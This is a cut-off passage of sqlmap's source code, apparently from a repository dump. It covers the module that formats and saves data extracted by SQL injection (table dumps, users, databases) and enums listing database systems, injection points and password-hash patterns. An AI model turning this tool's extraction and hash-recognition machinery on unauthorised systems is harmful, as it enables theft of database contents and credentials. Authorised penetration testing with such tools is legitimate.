"middot": 183, "cedil": 184, "sup1": 185, "ordm": 186, "raquo": 187, "frac14": 188, "frac12": 189, "frac34": 190, "iquest": 191, "Agrave": 192, "Aacute": 193, "Acirc": 194, "Atilde": 195, "Auml": 196, "Aring": 197, "AElig": 198, "Ccedil": 199, "Egrave": 200, "Eacute": 201, "Ecirc": 202, "Euml": 203, "Igrave": 204, "Iacute": 205, "Icirc": 206, "Iuml": 207, "ETH": 208, "Ntilde": 209, "Ograve": 210, "Oacute": 211, "Ocirc": 212, "Otilde": 213, "Ouml": 214, "times": 215, "Oslash": 216, "Ugrave": 217, "Uacute": 218, "Ucirc": 219, "Uuml": 220, "Yacute": 221, "THORN": 222, "szlig": 223, "agrave": 224, "aacute": 225, "acirc": 226, "atilde": 227, "auml": 228, "aring": 229, "aelig": 230, "ccedil": 231, "egrave": 232, "eacute": 233, "ecirc": 234, "euml": 235, "igrave": 236, "iacute": 237, "icirc": 238, "iuml": 239, "eth": 240, "ntilde": 241, "ograve": 242, "oacute": 243, "ocirc": 244, "otilde": 245, "ouml": 246, "divide": 247, "oslash": 248, "ugrave": 249, "uacute": 250, "ucirc": 251, "uuml": 252, "yacute": 253, "thorn": 254, "yuml": 255, "OElig": 338, "oelig": 339, "Scaron": 352, "fnof": 402, "scaron": 353, "Yuml": 376, "circ": 710, "tilde": 732, "Alpha": 913, "Beta": 914, "Gamma": 915, "Delta": 916, "Epsilon": 917, "Zeta": 918, "Eta": 919, "Theta": 920, "Iota": 921, "Kappa": 922, "Lambda": 923, "Mu": 924, "Nu": 925, "Xi": 926, "Omicron": 927, "Pi": 928, "Rho": 929, "Sigma": 931, "Tau": 932, "Upsilon": 933, "Phi": 934, "Chi": 935, "Psi": 936, "Omega": 937, "alpha": 945, "beta": 946, "gamma": 947, "delta": 948, "epsilon": 949, "zeta": 950, "eta": 951, "theta": 952, "iota": 953, "kappa": 954, "lambda": 955, "mu": 956, "nu": 957, "xi": 958, "omicron": 959, "pi": 960, "rho": 961, "sigmaf": 962, "sigma": 963, "tau": 964, "upsilon": 965, "phi": 966, "chi": 967, "psi": 968, "omega": 969, "thetasym": 977, "upsih": 978, "piv": 982, "bull": 8226, "hellip": 8230, "prime": 8242, "Prime": 8243, "oline": 8254, "frasl": 8260, "ensp": 8194, "emsp": 8195, "thinsp": 8201, "zwnj": 8204, "zwj": 8205, "lrm": 8206, "rlm": 8207, "ndash": 8211, "mdash": 8212, "lsquo": 8216, "rsquo": 8217, "sbquo": 8218, "ldquo": 8220, "rdquo": 8221, "bdquo": 8222, "dagger": 8224, "Dagger": 8225, "permil": 8240, "lsaquo": 8249, "rsaquo": 8250, "euro": 8364, "weierp": 8472, "image": 8465, "real": 8476, "trade": 8482, "alefsym": 8501, "larr": 8592, "uarr": 8593, "rarr": 8594, "darr": 8595, "harr": 8596, "crarr": 8629, "lArr": 8656, "uArr": 8657, "rArr": 8658, "dArr": 8659, "hArr": 8660, "forall": 8704, "part": 8706, "exist": 8707, "empty": 8709, "nabla": 8711, "isin": 8712, "notin": 8713, "ni": 8715, "prod": 8719, "sum": 8721, "minus": 8722, "lowast": 8727, "radic": 8730, "prop": 8733, "infin": 8734, "ang": 8736, "and": 8743, "or": 8744, "cap": 8745, "cup": 8746, "int": 8747, "there4": 8756, "sim": 8764, "cong": 8773, "asymp": 8776, "ne": 8800, "equiv": 8801, "le": 8804, "ge": 8805, "sub": 8834, "sup": 8835, "nsub": 8836, "sube": 8838, "supe": 8839, "oplus": 8853, "otimes": 8855, "perp": 8869, "sdot": 8901, "lceil": 8968, "rceil": 8969, "lfloor": 8970, "rfloor": 8971, "lang": 9001, "rang": 9002, "loz": 9674, "spades": 9824, "clubs": 9827, "hearts": 9829, "diams": 9830 } ================================================ FILE: lib/core/dump.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import re import shutil import tempfile import threading from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CONTENT_STATUS from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.replication import Replication from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic class Dump(object): """ This class defines methods used to parse and output the results of SQL injection actions """ def __init__(self): self._outputFile = None self._outputFP = None self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): text = "%s%s" % (data, "\n" if newline else " ") if conf.api: dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) elif console: dataToStdout(text) if self._outputFP: multiThreadMode = kb.multiThreadMode if multiThreadMode: self._lock.acquire() try: self._outputFP.write(text) except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) if multiThreadMode: self._lock.release() kb.dataOutputFlag = True def flush(self): if self._outputFP: try: self._outputFP.flush() except IOError: pass def setOutputFile(self): if conf.noLogging: self._outputFP = None return self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): if conf.api: self._write(data, content_type=content_type) if isListLike(data) and len(data) == 1: data = unArrayizeValue(data) if isListLike(data): self.lister(header, data, content_type, sort) elif data is not None: _ = getUnicode(data) if _.endswith("\r\n"): _ = _[:-2] elif _.endswith("\n"): _ = _[:-1] if _.strip(' '): _ = _.strip(' ') if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass if conf.api: self._write(elements, content_type=content_type) if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) if elements: self._write("") def banner(self, data): self.string("banner", data, content_type=CONTENT_TYPE.BANNER) def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) def hostname(self, data): self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) def dba(self, data): self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) if conf.api: self._write(userSettings, content_type=content_type) if userSettings: self._write("%s:" % header) for user in users: settings = filterNone(userSettings[user]) if isNoneValue(settings): stringSettings = "" else: stringSettings = " [%d]:" % len(settings) if user in self._areAdmins: self._write("[*] %s (administrator)%s" % (user, stringSettings)) else: self._write("[*] %s%s" % (user, stringSettings)) if settings: settings.sort() for setting in settings: self._write(" %s: %s" % (subHeader, setting)) if userSettings: self.singleString("") def dbs(self, dbs): self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) maxlength = 0 for tables in dbTables.values(): for table in tables: if table and isListLike(table): table = table[0] maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): tables = sorted(filter(None, tables)) self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") else: self._write("[%d tables]" % len(tables)) self._write("+%s+" % lines) for table in tables: if table and isListLike(table): table = table[0] table = unsafeSQLIdentificatorNaming(table) blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) elif dbTables is None or len(dbTables) == 0: self.singleString("No tables found", content_type=CONTENT_TYPE.TABLES) else: self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) for db, tables in tableColumns.items(): if not db: db = "All" for table, columns in tables.items(): maxlength1 = 0 maxlength2 = 0 colType = None colList = list(columns.keys()) colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) maxlength1 = max(maxlength1, len(column or "")) maxlength2 = max(maxlength2, len(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) if colType is not None: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") else: self._write("[%d columns]" % len(columns)) if colType is not None: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) if colType is not None: blank2 = " " * (maxlength2 - len("TYPE")) if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: self._write("| Column%s |" % blank1) self._write("+%s+" % lines1) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) blank1 = " " * (maxlength1 - len(column)) if colType is not None: blank2 = " " * (maxlength2 - len(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) if colType is not None: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) maxlength1 = len("Table") maxlength2 = len("Entries") for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) lines2 = "-" * (maxlength2 + 2) blank2 = " " * (maxlength2 - len("Entries")) self._write("+%s+%s+" % (lines1, lines2)) self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) sortedCounts = list(counts.keys()) sortedCounts.sort(reverse=True) for count in sortedCounts: tables = counts[count] if count is None: count = "Unknown" tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) self._write("+%s+%s+\n" % (lines1, lines2)) else: logger.error("unable to retrieve the number of entries for any table") def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False warnFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) try: dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) except UnicodeError: try: dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) except (UnicodeError, OSError): tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "currently unable to use regular dump directory. " warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warning(warnMsg) dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warning(warnMsg) dumpDbPath = tempDir dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+").close() except SqlmapSystemException: raise except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) if not appendToFile: count = 1 while True: candidate = "%s.%d" % (dumpFileName, count) if not checkFile(candidate, False): try: shutil.copyfile(dumpFileName, candidate) except IOError: pass break else: count += 1 dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(list(tableValues.keys())) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) if conf.dumpFormat == DUMP_FORMAT.SQLITE: values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = getText(magic.from_buffer(value, mime=True)) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warning(warnMsg) with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) f.write(_) except Exception as ex: logger.debug(getSafeExString(ex)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n
%s
%s
\n\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) for column in dbColumnsDict.keys(): if colConsider == "1": colConsiderStr = "s LIKE '%s' were" % unsafeSQLIdentificatorNaming(column) else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): if db in found: if tbl in found[db]: found[db][tbl][col] = dataType else: found[db][tbl] = {col: dataType} else: found[db] = {} found[db][tbl] = {col: dataType} continue if found: msg = "column%s found in the " % colConsiderStr msg += "following databases:" self._write(msg) self.dbTableColumns(found) def sqlQuery(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) def registerValue(self, registerData): self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() ================================================ FILE: lib/core/enums.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 FOURTH = 3 FIFTH = 4 LAST = 100 # Reference: https://docs.python.org/2/library/logging.html#logging-levels class LOGGING_LEVELS(object): NOTSET = 0 DEBUG = 10 INFO = 20 WARNING = 30 ERROR = 40 CRITICAL = 50 class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" INFORMIX = "Informix" HSQLDB = "HSQLDB" H2 = "H2" MONETDB = "MonetDB" DERBY = "Apache Derby" VERTICA = "Vertica" MCKOI = "Mckoi" PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" EXTREMEDB = "eXtremeDB" FRONTBASE = "FrontBase" RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" SNOWFLAKE = "Snowflake" SPANNER = "Spanner" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" MAXDB = "maxdb" MSSQL = "mssqlserver" MYSQL = "mysql" ORACLE = "oracle" PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" MONETDB = "monetdb" DERBY = "derby" VERTICA = "vertica" MCKOI = "mckoi" PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" EXTREMEDB = "extremedb" FRONTBASE = "frontbase" RAIMA = "raima" VIRTUOSO = "virtuoso" SNOWFLAKE = "snowflake" SPANNER = "spanner" class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" PERCONA = "Percona" COCKROACHDB = "CockroachDB" TIDB = "TiDB" REDSHIFT = "Amazon Redshift" GREENPLUM = "Greenplum" DRIZZLE = "Drizzle" IGNITE = "Apache Ignite" AURORA = "Aurora" ENTERPRISEDB = "EnterpriseDB" YELLOWBRICK = "Yellowbrick" IRIS = "Iris" YUGABYTEDB = "YugabyteDB" OPENGAUSS = "OpenGauss" DM8 = "DM8" DORIS = "Doris" STARROCKS = "StarRocks" class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 class OS(object): LINUX = "Linux" WINDOWS = "Windows" class PLACE(object): GET = "GET" POST = "POST" URI = "URI" COOKIE = "Cookie" USER_AGENT = "User-Agent" REFERER = "Referer" HOST = "Host" CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" PUT = "PUT" DELETE = "DELETE" TRACE = "TRACE" OPTIONS = "OPTIONS" CONNECT = "CONNECT" PATCH = "PATCH" class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' OSCOMMERCE_OLD = r'\A[0-9a-fA-F]{32}:.{2}\Z' SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' # Reference: https://whatmyuseragent.com/brand/ class MOBILES(object): BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") GALAXY = ("Samsung Galaxy A54", "Mozilla/5.0 (Linux; Android 15; SM-A546B) 